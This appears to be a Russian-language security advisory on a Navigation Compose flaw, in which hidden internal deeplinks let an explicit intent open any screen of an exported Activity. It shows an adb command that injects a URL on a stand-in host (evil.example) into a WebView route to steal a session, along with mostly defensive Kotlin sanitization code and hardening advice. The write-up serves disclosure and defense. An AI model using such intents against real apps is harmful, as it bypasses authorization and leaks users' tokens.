Доступ к произвольному Composable (Jetpack Compose) через Intent
Описание
В приложениях с Navigation Compose любой объявленный route для composable() получает внутренний диплинк вида
android-app://androidx.navigation/<route> (создаётся самой библиотекой).
Если лаунчер-Activity экспортирована (а для MAIN/LAUNCHER на Android 12+ это обязательно), то внешнее приложение может запустить любое Compose-назначение и передать ему аргументы, минуя ожидаемые «стартовые» проверки (PIN/логин/подтверждения и т.д.). ((не)Уникальный опыт)
Условия и поверхность атаки
- Приложение использует Navigation Compose (
androidx.navigation:navigation-compose). (Android Developers) - Есть экспортированная
Activity(обычно лаунчер). - В графе объявлены
composable(route = ...)(даже без явныхdeepLinks = ...). - На экранах используются аргументы маршрута, которые влияют на бизнес-логику (например, URL в
WebView, id ресурса, флаги режима и т.д.).
Как это эксплуатируется
Обход авторизации/стартового экрана
Любое приложение/adb может запустить нужный route:
Инъекция аргументов маршрута (угон сессии через WebView)
Если экран принимает параметр, например WebContent/{url}, атакующий подставляет любой URL, а ваш экран добавит авторизационный заголовок и откроет его — получится 0-click захват сессии:
adb shell am start \
-n com.example.app/.MainActivity \
-d "android-app://androidx.navigation/WebContent/https%3A%2F%2Fevil.example%2F"
Технические детали (root cause)
При установке route библиотека сама добавляет к назначению скрытый диплинк:
// Упрощённо: внутри ComposeNavigator.Destination
public var route: String? = null
set(value) {
val internalRoute = createRoute(value) // -> "android-app://androidx.navigation/<route>"
addDeepLink(internalRoute)
field = value
}
Таким образом каждое Compose-назначение получает внутренний диплинк android-app://androidx.navigation/<route>, который обрабатывается как обычный диплинк (handleDeepLink -> matchDeepLink) и принимает аргументы из URI.
Важно: официальная документация пишет, что диплинки в Compose «не доступны внешним приложениям по умолчанию» и требуют <intent-filter>; это верно для неявных интентов из других приложений/браузера. Но явный интент (setClassName(...)) с data дойдёт до вашей экспортированной Activity, а Navigation всё равно увидит intent.data и отработает диплинк-механизм. (Android Developers)
Риски и примеры последствий
- Обход авторизации и контрольных экранов (Improper Authorization/CWE-285).
- Инъекция параметров маршрута → открытые редиректы/утечки токенов в
WebView(Open Redirect/CWE-601, Sensitive Data Exposure). - Эскалация навигационных прав (доступ к административным/внутренним экранам).
Рекомендации по защите
0. Если можно — не использовать Navigation Compose для чувствительных участков
Убрать автоматический диплинк-механизм целиком. Это официальный вывод как «железный» вариант.
1. Отключаем внутренние диплинки на входе в Activity
В onCreate/onNewIntent очищайте потенциально опасный data и service-extras до инициализации навигации:
private fun Intent?.isInternalNavDeepLink(): Boolean =
this?.data?.scheme == "android-app" && this.data?.host == "androidx.navigation"
private fun Intent?.sanitizeForNavigation() {
if (this == null) return
if (isInternalNavDeepLink()) data = null
// заодно чистим известные extras «старой» навигации (фрагменты):
removeExtra("android-support-nav:controller:deepLinkIds")
removeExtra("android-support-nav:controller:deepLinkExtras")
removeExtra("android-support-nav:controller:deepLinkIntent")
}
override fun onCreate(savedInstanceState: Bundle?) {
intent.sanitizeForNavigation()
super.onCreate(savedInstanceState)
setContent { /* NavHost(...) */ }
}
override fun onNewIntent(intent: Intent) {
intent.sanitizeForNavigation()
super.onNewIntent(intent)
setIntent(intent)
}
Так вы не дадите NavController сопоставить android-app://androidx.navigation/... и навигироваться по нему.
2. Жёсткая валидация входящих Intent + белые списки
- Разрешайте только ожидаемые схемы/хосты/форматы
dataи только в сценариях, где вы сознательно поддерживаете внешние диплинки. - Во всех прочих случаях — сбрасывайте
intent.data(см. выше) или завершайтеActivity. - Не полагайтесь на
<intent-filter>как на защиту: явные интенты его обходят. (Android Developers)
3. Локальные проверки на каждом чувствительном экране
- Авторизация/состояние сессии проверяется внутри Composable до использования аргументов.
- Любые аргументы маршрута считаются недоверенными: валидируйте типы, диапазоны, белые списки доменов для URL.
- Для
WebView: жёстко ограничивайте домены (allow-list), не передавайте токены заголовками для внешних доменов, включите контроль переходов (shouldOverrideUrlLoading).
Замечание: такие проверки снижают риск, но по сути превращают 0-click в 1-click (пользователь введёт PIN, не зная, что после него откроется). Это компромисс, а не полный фикс.
4. Если вы сознательно используете диплинки
- Переходите на App Links с
android:autoVerify="true"+assetlinks.json, и всё равно валидируйтеIntent(см. п. 2). Документация подчёркивает необходимость явной конфигурации для внешних диплинков. (Android Developers)
Ссылки
- Fi5t: «Android Jetpack Navigation: Go Even Deeper» — детальное исследование Compose-ветки уязвимости (короткий PoC, разбор исходников
createRoute,handleDeepLink). ((не)Уникальный опыт) - PT SWARM (англ. версия): те же выводы, структурированно и с рекомендациями. (PT SWARM)
- Документация Navigation Compose — раздел про диплинки и их экспонирование наружу. (Android Developers)
- Общие риски диплинков и меры хардненинга (пентест-обзор). (Hacking Articles)